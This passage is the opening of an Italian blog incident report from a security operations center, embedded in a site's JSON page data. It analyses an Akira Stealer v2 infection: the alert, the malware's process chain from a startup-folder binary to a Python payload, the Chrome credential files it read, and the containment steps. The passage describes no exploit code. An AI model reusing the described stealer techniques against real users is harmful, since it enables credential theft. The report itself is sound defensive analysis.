[{"data":1,"prerenderedAt":15240},["ShallowReactive",2],{"sc:header-data-it":3,"sc:footer-data-it":489,"author-it-pascal-asch-1864737b7d2e83":518,"content-it-pascal-asch":548,"content-events-it-pascal-asch":15230,"authors_data:Pascal Asch":15231},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"it":13},{"title":14,"url":15,"alt":16},"Home","/it","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"it":21},{"title":22,"description":23},"Workplace","Basato su Microsoft 365 per postazioni di lavoro intelligenti, sicure e flessibili, con integrazione di tecnologie moderne e servizi di identità.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"it":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"it":34},{"title":35,"url":36},"Managed Intune","/it/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"it":40},{"title":41,"url":42},"Managed Entra","/it/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"it":46},{"title":47,"url":48},"Managed Workplace","/it/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"it":52},{"title":53,"url":54},"Consulting Services","/it/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"it":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"it":64},{"title":65,"url":66},"Microsoft Entra Suite","/it/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"it":70},{"title":71,"url":72},"Microsoft Intune","/it/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"it":76},{"title":77,"url":78},"Microsoft Windows","/it/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"it":82},{"title":83,"url":84},"Windows 365 Cloud PC","/it/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"it":88},{"title":89,"url":90},"Cloud Workplace Foundation","/it/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"it":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"it":100},{"title":101,"url":102},"Microsoft 365 Copilot","/it/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"it":106},{"title":107,"url":108},"Teams","/it/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"it":112},{"title":113,"url":114},"SharePoint & Power Platform","/it/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"it":118},{"title":119,"url":120},"Exchange Online","/it/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"it":124},{"title":125,"url":126},"Information Protection & Compliance","/it/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"it":130},{"title":131,"description":132},"Azure","Crescita con Azure: riduci i costi cloud, aumenta l'efficienza e spingi l'innovazione con IaaS e PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"it":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"it":142},{"title":143,"url":144},"Azure Managed Services","/it/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"it":148},{"title":149,"url":150},"Azure Consulting","/it/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"it":154},{"title":155},"Scenari",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"it":160},{"title":161,"url":162},"Pianifica il tuo cloud","/it/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"it":166},{"title":167,"url":168},"Migra al cloud","/it/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"it":172},{"title":173,"url":174},"Innova la tua azienda","/it/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"it":178},{"title":179,"url":180},"Ripensa la tua strategia VMware","/it/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"it":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"it":190},{"title":191,"url":192},"Azure Foundation","/it/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"it":196},{"title":197,"url":198},"Azure AI Foundation","/it/azure/azure-ai-foundation",{"name":86,"languages":200},{"it":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"it":205},{"title":206,"url":207},"Azure Data Foundation","/it/azure/azure-data-foundation",{"name":188,"languages":209},{"it":210},{"title":211,"url":212},"Azure Container Foundation","/it/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"it":216},{"title":217,"url":218},"Managed Dark Tenant","/it/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"it":222},{"title":223,"url":224},"Cloud Adoption Framework","/it/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"it":228},{"title":229,"url":230},"Cloud Competence Center","/it/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"it":234},{"title":235,"description":236,"emergency":237},"Security","Vigilanza nel cloud con un managed service 24/7 pluripremiato, incident response e protezione moderna per la tua infrastruttura.",{"text":238,"href":239,"skin":240,"icon":241},"Sotto attacco?","/it/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"it":249},{"title":250,"url":251},"Managed Red Tenant","/it/security/managed-red-tenant",{"name":214,"languages":253},{"it":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"it":259},{"title":260,"url":261},"Sentinel Data Lake","/it/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"it":265},{"title":266,"url":267},"Security Consulting","/it/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"it":274},{"title":275,"url":276},"Cloud Security Operations Center","/it/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"it":280},{"title":281,"url":282},"Global Secure Access","/it/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"it":286},{"title":287,"url":288},"MyWorkID","/it/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"it":295},{"title":296,"url":297},"Preventive Services","/it/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"it":301},{"title":302,"url":303},"Data Security Service","/it/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"it":307},{"title":308,"url":309},"Security Copilot Agents","/it/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"it":313},{"title":314,"url":315},"Implementazione di NIS2","/it/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"it":319},{"title":320,"description":321},"Prodotti","Prodotti complementari per un ambiente Microsoft sicuro e 100 % cloud-native, che rafforzano la collaborazione, l'autenticazione di rete e la gestione software.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"it":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Distribuzione software dal cloud",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"it":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Distribuzione dei certificati dal cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"it":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Lavora con i tuoi dati locali di Office 365",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"it":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migra i dati da un server all'altro",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"it":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"it":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autenticazione per la tua rete",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"it":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Trova contatti in Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"it":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Monitoraggio di Windows Autopilot in tempo reale",{"name":396,"languages":397},"casestudies",{"it":398},{"title":399,"url":400,"description":401},"Case Studies","/it/casestudies","Pioniere nel cloud: il tuo Microsoft partner di riferimento per soluzioni cloud con un approccio blueprint-based e competenza in Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"it":405},{"title":406,"description":401},"Azienda",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"it":411},{"title":412},"Chi siamo",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"it":417},{"title":418,"url":419},"Fatti e numeri","/it/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"it":423},{"title":424,"url":425},"Contatti e sedi","/it/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"it":429},{"title":430,"url":431}," glueckkanja Switzerland","/it/company/switzerland",{"name":433,"languages":434},"austria",{"it":435},{"title":436,"url":437},"glueckkanja Austria","/it/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"it":441},{"title":442},"Carriera",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"it":447},{"title":448,"url":449},"Panoramica carriera","/it/career",{"name":451,"languages":452},"company-young-professionals",{"it":453},{"title":454,"url":455},"Young Professionals","/it/young-professionals",{"name":457,"languages":458},"company-jobs",{"it":459},{"title":460,"url":461},"Offerte di lavoro","/it/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"it":465},{"title":466},"Novità",[468,474],{"name":469,"languages":470},"company-blog",{"it":471},{"title":472,"url":473},"Blog","/it/blog",{"name":469,"languages":475},{"it":476},{"title":477,"url":478},"Eventi","/it/events",[480],{"name":481,"languages":482},"career-meta",{"it":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"it":487},{"title":488,"url":425,"active":484},"Contatti",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksIt":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/it/privacy",{"title":514,"url":515},"Imprint","/it/imprint",{"title":507,"url":517},"/it/cookies",{"id":519,"title":520,"body":521,"description":527,"extension":532,"meta":533,"name":520,"navigation":325,"otherLanguages":534,"path":544,"seo":545,"stem":546,"__hash__":547},"authors/pascal-asch.md","Pascal Asch",{"type":522,"value":523,"toc":528},"minimal",[524],[525,526,527],"p",{},"Pascal Asch ist Teil des Cyber Security Operations Centers (CSOC) von glueckkanja und auf die Analyse und Abwehr komplexer Bedrohungslagen spezialisiert. Sein Schwerpunkt liegt auf Incident Response, Threat Hunting und Malware-Analyse im Microsoft-Umfeld. Dabei verbindet er tiefgehendes technisches Know-how mit einem klaren Blick für forensische Zusammenhänge – von der ersten Auffälligkeit bis zur vollständigen Aufklärung eines Angriffs.",{"title":529,"searchDepth":530,"depth":530,"links":531},"",2,[],"md",{},{"en":535,"es":536,"sv":537,"fi":538,"da":539,"ko":540,"nl":541,"no":542,"ja":543},"Pascal Asch is part of the Cyber Security Operations Center (CSOC) at glueckkanja, specializing in the analysis and mitigation of complex threat scenarios. His focus lies in incident response, threat hunting, and malware analysis within Microsoft environments. He combines deep technical expertise with a sharp forensic mindset – from the first anomaly to the full resolution of an attack.","Pascal Asch forma parte del Cyber Security Operations Center (CSOC) de glueckkanja y está especializado en el análisis y la defensa frente a situaciones de amenaza complejas. Su enfoque se centra en Incident Response, Threat Hunting y análisis de malware en el entorno de Microsoft. Combina un profundo conocimiento técnico con una visión clara de las relaciones forenses, desde el primer indicio hasta el esclarecimiento completo de un ataque.","Pascal Asch är en del av glueckkanjas Cyber Security Operations Center (CSOC) och specialiserad på analys och avvärjning av komplexa hotbilder. Hans fokus ligger på Incident Response, Threat Hunting och malware-analys i Microsoft-miljö. Han förenar djup teknisk kompetens med en tydlig blick för forensiska samband, från den första avvikelsen till fullständig utredning av en attack.","Pascal Asch työskentelee glueckkanjan Cyber Security Operations Centerissä (CSOC) ja on erikoistunut monimutkaisten uhkatilanteiden analysointiin ja torjuntaan. Hänen painopisteenään ovat Incident Response, Threat Hunting ja haittaohjelma-analyysi Microsoft-ympäristössä. Hän yhdistää syvän teknisen osaamisen selkeään näkemykseen forensisista yhteyksistä ensimmäisestä poikkeamasta hyökkäyksen täydelliseen selvittämiseen.","Pascal Asch er en del af glueckkanjas Cyber Security Operations Center (CSOC) og specialiseret i analyse og afværgning af komplekse trusselsbilleder. Hans fokus ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dybdegående teknisk knowhow med et klart blik for forensiske sammenhænge, fra den første anomali til den fuldstændige opklaring af et angreb.","Pascal Asch은 glueckkanja의 Cyber Security Operations Center(CSOC) 소속으로 복잡한 위협 상황의 분석과 방어를 전문으로 합니다. 그의 중점 분야는 Microsoft 환경에서의 Incident Response, Threat Hunting, 멀웨어 분석입니다. 그는 깊이 있는 기술적 노하우와 포렌식 맥락에 대한 명확한 시각을 결합하여, 최초의 이상 징후부터 공격의 완전한 규명에 이르기까지 대응합니다.","Pascal Asch is onderdeel van het Cyber Security Operations Center (CSOC) van glueckkanja en gespecialiseerd in de analyse en afweer van complexe dreigingssituaties. Zijn focus ligt op incident response, threat hunting en malware-analyse binnen het Microsoft-landschap. Daarbij combineert hij diepgaande technische kennis met een scherp oog voor forensische samenhang, van de eerste afwijking tot de volledige reconstructie van een aanval.","Pascal Asch er en del av Cyber Security Operations Center (CSOC) hos glueckkanja og spesialisert på analyse og avverging av komplekse trusselsituasjoner. Tyngdepunktet ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dyp teknisk kompetanse med et klart blikk for forensiske sammenhenger, fra første avvik til fullstendig oppklaring av et angrep.","Pascal AschはglueckkanjaのCyber Security Operations Center（CSOC）のメンバーで、複雑な脅威状況の分析と防御を専門としています。重点はMicrosoft環境におけるIncident Response、Threat Hunting、マルウェア解析です。深い技術的知見と、フォレンジックの文脈を見通す視点を組み合わせ、最初の兆候から攻撃の全容解明までを担います。","/pascal-asch",{"title":520,"description":527},"pascal-asch","h9IFki986nfubTkh2vFlR-qx4IOL2kjI9sufDTKc3ao",[549,13075],{"id":550,"title":551,"author":552,"body":553,"cta":494,"description":562,"eventid":494,"extension":532,"hideInRecent":484,"layout":12949,"meta":12950,"moment":12954,"navigation":325,"path":13066,"seo":13067,"stem":13068,"tags":13069,"webcast":484,"__hash__":13074},"content_it/posts/2025-06-16-quiet-breach.md","Dentro Akira Stealer: analisi tecnica completa di uno stealer modulare",[520],{"type":522,"value":554,"toc":12804},[555,560,563,571,574,593,596,614,623,626,629,653,661,672,679,682,685,700,707,710,713,727,731,733,739,744,747,750,762,771,778,781,787,790,794,796,801,807,810,814,816,819,845,851,857,861,863,866,870,872,875,877,883,886,891,894,904,907,910,930,933,940,947,949,955,958,964,967,1002,1005,1014,1020,1029,1032,1043,1046,1053,1055,1064,1074,1106,1112,1117,1139,1145,1148,1151,1157,1165,1172,1174,1177,1189,1192,1226,1232,1259,1268,1271,1276,1285,1287,1296,1302,1319,1322,1327,1361,1365,1368,1371,1377,1391,1397,1403,1405,1410,1414,1416,1496,1499,1503,1505,1510,1516,1521,1530,1535,1540,1551,1554,1559,1568,1574,1577,1581,1583,1594,1599,1617,1623,1632,1643,1650,1655,1659,1661,1667,1693,1696,1710,1713,1722,1725,1729,1731,1739,1742,1745,1758,1768,1775,1796,1799,1805,1809,1811,1814,1823,1835,1860,1866,1872,1875,1882,1885,1898,1905,1907,1914,1918,1920,1926,2024,2031,2038,2040,2043,2066,2069,2098,2101,2142,2145,2154,2157,2174,2180,2183,2192,2195,2209,2216,2220,2222,2228,2250,2257,2291,2294,2309,2316,2321,2332,2335,2339,2341,2344,2359,2366,2377,2388,2425,2432,2435,2439,2441,2447,2452,2492,2495,2510,2513,2522,2528,2531,2535,2537,2540,2549,2552,2599,2606,2610,2612,2618,2623,2652,2659,2661,2677,2681,2683,2686,2725,2731,2737,2741,2743,2762,2773,2780,2817,2824,2870,2878,2882,2884,2887,2915,2925,2932,2934,2939,2943,2945,2951,2955,2957,2964,2990,2997,3256,3259,3264,3267,3300,3305,3309,3311,3314,3318,3320,3323,3425,3428,3432,3434,3437,3600,3603,3626,3630,3632,3641,3886,3889,3918,3922,3924,3957,3960,3963,3994,3998,4000,4006,4011,4014,4032,4035,4043,4048,4051,4131,4139,4142,4148,4156,4160,4162,4168,4173,4176,4193,4200,4205,4211,4273,4287,4292,4298,4325,4328,4366,4369,4374,4377,4391,4395,4397,4402,4422,4429,4435,4437,4441,4443,4449,4453,4455,4459,4461,4466,4493,4499,4503,4505,4511,4528,4552,4558,4562,4564,4567,4576,4590,4593,4597,4599,4612,4615,4624,4629,4636,4638,4642,4644,4654,4658,4660,4666,4680,4695,4699,4701,4781,4784,4790,4792,4797,4855,4862,4986,4989,5134,5138,5140,5143,5197,5200,5204,5206,5213,5266,5269,5273,5275,5278,5330,5333,5337,5339,5346,5398,5401,5405,5407,5414,5455,5458,5462,5464,5471,5553,5556,5560,5562,5565,5612,5615,5620,5623,5626,5630,5632,5637,5643,5648,5654,5659,5665,5670,5676,5681,6082,6086,6088,6129,6133,6135,6144,6148,6150,6161,6166,6191,6212,6217,6304,6308,6310,6404,6407,6413,6420,6422,6425,6480,6536,6543,6545,6548,6583,6617,6624,6626,6629,6662,6695,6702,6704,6707,6776,6820,6827,6829,6832,6860,6889,6896,6898,6901,6929,6950,6959,6961,6964,6989,7025,7029,7031,7064,7068,7070,7073,7076,7079,7082,7085,7090,7115,7120,7150,7156,7165,7187,7396,7400,7402,7409,7507,7510,7514,7516,7523,7616,7626,7632,7635,7640,7646,7674,7679,7709,7762,7781,7784,7789,7838,7842,7844,7847,7851,7853,7859,7979,7999,8003,8005,8010,8084,8105,8109,8111,8114,8117,8120,8123,8222,8230,8234,8236,8241,8276,8298,8302,8304,8307,8310,8318,8321,8409,8423,8427,8429,8432,8435,8528,8534,8536,8541,8545,8547,8550,8615,8632,8635,8669,8672,8676,8678,8683,8695,8740,8766,8771,8784,8860,8915,8919,8921,8924,8930,8970,8980,8986,8996,9000,9002,9005,9034,9060,9065,9069,9071,9078,9084,9086,9091,9146,9174,9178,9180,9183,9248,9255,9294,9298,9300,9306,9321,9324,9359,9363,9365,9372,9416,9430,9436,9443,9445,9448,9452,9454,9457,9491,9494,9519,9523,9525,9530,9533,9557,9582,9586,9588,9591,9615,9619,9621,9624,9644,9648,9650,9653,9660,9773,9777,9822,9826,9828,9835,9869,9924,9929,9932,9936,9938,9941,9945,9947,9950,9956,9960,9962,9965,10020,10035,10039,10041,10052,10121,10130,10135,10138,10182,10184,10188,10190,10193,10282,10287,10416,10420,10422,10425,10430,10503,10521,10526,10546,10554,10559,10565,10580,10597,10603,10661,10683,10688,10705,10710,10756,10770,10773,10777,10779,10784,10788,10790,10797,10804,10808,10810,10921,10928,10932,10934,10940,10945,11026,11033,11040,11044,11046,11049,11078,11085,11089,11091,11095,11097,11104,11107,11110,11113,11258,11261,11265,11267,11270,11274,11276,11279,11314,11320,11324,11326,11329,11355,11358,11364,11368,11370,11375,11392,11398,11402,11404,11408,11410,11426,11449,11456,11472,11491,11494,11498,11500,11511,11515,11517,11951,11954,11958,11960,11966,11969,11972,11978,11981,11992,11998,12001,12006,12010,12012,12015,12020,12034,12038,12040,12336,12339,12343,12345,12457,12460,12464,12466,12520,12523,12527,12529,12693,12696,12700,12702,12744,12747,12751,12753,12756,12759,12762,12765,12768,12771,12776,12780,12782,12785,12788,12791,12794,12797,12800],[556,557,559],"h1",{"id":558},"prologo","Prologo",[525,561,562],{},"{: .h3-font-size}",[525,564,565,566,570],{},"È iniziato come iniziano tanti attacchi moderni: in silenzio. Un alert di Defender a bassa confidence, ",[567,568,569],"strong",{},"\"Suspicious sequence of exploration activities\"",", è emerso durante la fase di onboarding di un nuovo cliente nel nostro glueckkanja Cyber Security Operations Center (CSOC).",[525,572,573],{},"Nessun riscontro sulle signature. Nessuna classificazione di malware. Nessuna reazione della protezione in tempo reale. Solo una singola correlazione comportamentale in Microsoft 365 Defender, sepolta nel rumore di fondo, eppure inequivocabilmente sbagliata.",[525,575,576,577,581,582,585,586,589,590],{},"Durante il triage dell'alert una azione specifica ha attirato la mia attenzione: ",[578,579,580],"code",{},"python.exe"," aveva letto sia il file ",[578,583,584],{},"Login Data"," sia il file ",[578,587,588],{},"Web Data"," all'interno di un profilo Chromium. Microsoft Defender ha immediatamente elevato la cosa a incidente ad alta gravità, ",[567,591,592],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[525,594,595],{},"Non era un falso positivo. Era la punta di qualcosa di più profondo.",[525,597,598,599,602,603,606,607,610,611,613],{},"Ripercorrendo la telemetria a ritroso ho trovato una binary generica collocata nella cartella di avvio, ",[578,600,601],{},"Updater.exe",", che lanciava un wrapper basato su NodeJS (",[578,604,605],{},"main.exe","), il quale a sua volta eseguiva una riga di comando per avviare uno script chiamato ",[578,608,609],{},"astor.py"," tramite ",[578,612,580],{},".",[615,616,621],"pre",{"className":617,"code":619,"language":620,"meta":529},[618],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text",[578,622,619],{"__ignoreMap":529},[525,624,625],{},"Lo script non si limitava a raccogliere credenziali, eseguiva una sequenza di passi di ricognizione post compromissione, tra cui query al registro di sistema, fingerprinting del sistema e enumerazione consapevole dei privilegi. Operava con precisione chirurgica, imitando il comportamento nativo del sistema per sfuggire al rilevamento. E funzionava, quasi.",[525,627,628],{},"Al momento del primo intervento:",[630,631,632,642,650],"ul",{},[633,634,635,637,638,641],"li",{},[578,636,601],{}," era segnalato da appena ",[567,639,640],{},"1 motore su 69"," su VirusTotal.",[633,643,644,646,647,649],{},[578,645,605],{},", ",[578,648,609],{}," e tutti i componenti collegati non erano praticamente segnalati su VirusTotal.",[633,651,652],{},"Nessun file era firmato. Nessun contesto elevato. Solo processi \"ordinari\" che facevano cose molto poco ordinarie.",[525,654,655,657,658,660],{},[578,656,601],{}," non toccava le credenziali. Quel compito era riservato ad ",[578,659,609],{},", il payload Python residente in memoria, un file che per costruzione non lasciava quasi traccia.",[525,662,663,664,667,668,671],{},"Entro ",[567,665,666],{},"21 minuti"," il sistema colpito è stato isolato dalla rete. Entro ",[567,669,670],{},"70 minuti"," le credenziali sono state ruotate su tutti gli ambiti interessati: identità interne, piattaforme SaaS, servizi di terze parti.",[525,673,674,675,678],{},"La vera svolta è arrivata però quando abbiamo estratto e decifrato completamente il payload Python. Quello che abbiamo trovato non era uno stealer generico, era un deployment su misura di ",[567,676,677],{},"Akira Stealer v2",", una famiglia di malware distribuita commercialmente e venduta via Telegram.",[525,680,681],{},"Grazie alle nostre capacità interne di threat intelligence e reverse engineering siamo riusciti a ricostruire l'intera funzionalità del malware, a estrarre tutti gli indicatori incorporati e a comprendere nel dettaglio la sua logica di staging, esfiltrazione e selezione delle credenziali.",[525,683,684],{},"Ancora più importante, non ci siamo fermati all'attribuzione tecnica. Siamo andati oltre.",[525,686,687,688,691,692,695,696,699],{},"Abbiamo potuto consegnare al cliente un ",[567,689,690],{},"dataset completo delle credenziali esfiltrate",": oltre ",[567,693,694],{},"100 combinazioni uniche di nome utente e password",", comprese le credenziali di accesso a servizi cloud, sistemi CRM, piattaforme interne e persino strumenti personali usati da collaboratori chiave. Il furto andava avanti da ",[567,697,698],{},"mesi",", e siamo riusciti a rendere conto di tutto.",[525,701,702,703,706],{},"Partendo da quanto appreso in questo caso abbiamo costruito uno ",[567,704,705],{},"strumento di analisi post infezione"," che scansiona i sistemi colpiti, ricostruisce i pattern di accesso alle credenziali e genera report forensi dettagliati, mappando esattamente che cosa è stato rubato, quando e da dove.",[525,708,709],{},"Daremo un assaggio di quello scanner alla fine di questo report.",[525,711,712],{},"Perché questo è molto più di un semplice incidente.\nÈ così che indaghiamo. È così che proteggiamo.",[525,714,715,723,726],{},[567,716,717,718,613],{},"Benvenuto nel ",[719,720,722],"a",{"href":721},"/it/security/cloud-security-operations-center/","glueckkanja CSOC",[724,725],"br",{},"\nÈ così che lavoriamo, perché le violazioni non aspettano.",[556,728,730],{"id":729},"_1-evento-iniziale-e-sintesi-del-triage","1. Evento iniziale e sintesi del triage",[525,732,562],{},[525,734,735,736,738],{},"Il 31 marzo 2025 Microsoft Defender for Endpoint ha generato un alert etichettato ",[567,737,569],{}," su un endpoint Windows 10 a 64 bit. Ho avviato il triage partendo da questo segnale e ho esaminato il sistema colpito attraverso l'albero dei processi, la timeline di sistema e le evidenze correlate da Defender.",[740,741,743],"h2",{"id":742},"_11-triage-basato-sulla-timeline","1.1 Triage basato sulla timeline",[525,745,746],{},"{: .h4-font-size}",[525,748,749],{},"L'alert puntava a una sequenza di processi che meritava un esame più approfondito. Durante la prima verifica ho osservato i seguenti pattern di accesso ai dati del browser Chrome nel profilo utente locale:",[630,751,752,757],{},[633,753,754],{},[578,755,756],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[633,758,759],{},[578,760,761],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[525,763,764,765,767,768,770],{},"Questi accessi erano avviati da un processo chiamato ",[578,766,601],{},". Anche se Microsoft Defender non aveva segnalato la binary sulla base di analisi euristiche o comportamentali, ho trovato un rilevamento per ",[578,769,601],{}," su VirusTotal, segnalato da un solo motore in quel momento.",[525,772,773],{},[774,775],"img",{"alt":776,"src":777},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[525,779,780],{},"L'intera catena di esecuzione osservata era la seguente:",[615,782,785],{"className":783,"code":784,"language":620,"meta":529},[618],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[578,786,784],{"__ignoreMap":529},[525,788,789],{},"A questo stadio non era stata eseguita alcuna analisi statica o dinamica più approfondita dei file coinvolti. Il mio obiettivo era capire il comportamento e il contesto a livello generale. I nomi dei processi e i percorsi dei file erano generici e non erano presenti argomenti da riga di comando sospetti oltre all'esecuzione Python concatenata.",[740,791,793],{"id":792},"_12-prima-risposta","1.2 Prima risposta",[525,795,746],{},[525,797,663,798,800],{},[567,799,666],{}," dall'alert iniziale ho avviato l'isolamento dell'host usando le funzioni di isolamento di Defender for Endpoint. L'obiettivo era impedire un'ulteriore possibile diffusione o esfiltrazione.",[525,802,803,804,806],{},"Entro i primi ",[567,805,670],{}," abbiamo proceduto a ruotare le credenziali note per essere in uso sull'host colpito, coprendo sistemi interni, piattaforme SaaS e fornitori terzi critici.",[525,808,809],{},"Il processo di reverse engineering è iniziato dopo il primo contenimento. Le sezioni seguenti documentano l'analisi tecnica approfondita condotta per indagare sulla violazione.",[740,811,813],{"id":812},"_13-sintesi-della-risposta-rapida-trasparente-orientata-allimpatto","1.3 Sintesi della risposta: rapida, trasparente, orientata all'impatto",[525,815,746],{},[525,817,818],{},"La nostra risposta ha combinato velocità, competenza ed eccellenza operativa, sostenute da workflow collaudati e da piena visibilità per il cliente.",[630,820,821,827,833,839],{},[633,822,823,826],{},[567,824,825],{},"Dal rilevamento al contenimento completo in meno di 90 minuti","\nAlert di Defender, isolamento di rete, scansione antivirus e revoca delle credenziali eseguiti rapidamente e in modo coordinato.",[633,828,829,832],{},[567,830,831],{},"Risposta forense approfondita entro 48 ore","\nCompresa l'analisi completa di disco e memoria, l'esame degli artefatti del browser, il rilevamento del credential dumping e la ricostruzione comportamentale dell'attività dell'attaccante.",[633,834,835,838],{},[567,836,837],{},"Recupero sicuro dei dati e gestione delle evidenze","\nI dati sottratti, tra cui cookie, password, token e profili del browser, sono stati recuperati, archiviati in modo forense e consegnati in sicurezza al cliente.",[633,840,841,844],{},[567,842,843],{},"Visibilità e comunicazione end to end","\nOgni passaggio, dal primo alert alla remediation e al debriefing, è stato documentato integralmente, condiviso in tempo reale e riassunto in un handover CSIRT strutturato.",[846,847,848],"blockquote",{},[525,849,850],{},"Questo incidente mostra come il glueckkanja CSOC non si limiti a fermare il malware: ne smontiamo gli effetti, restituiamo il controllo ai nostri clienti e trasformiamo ogni incidente in 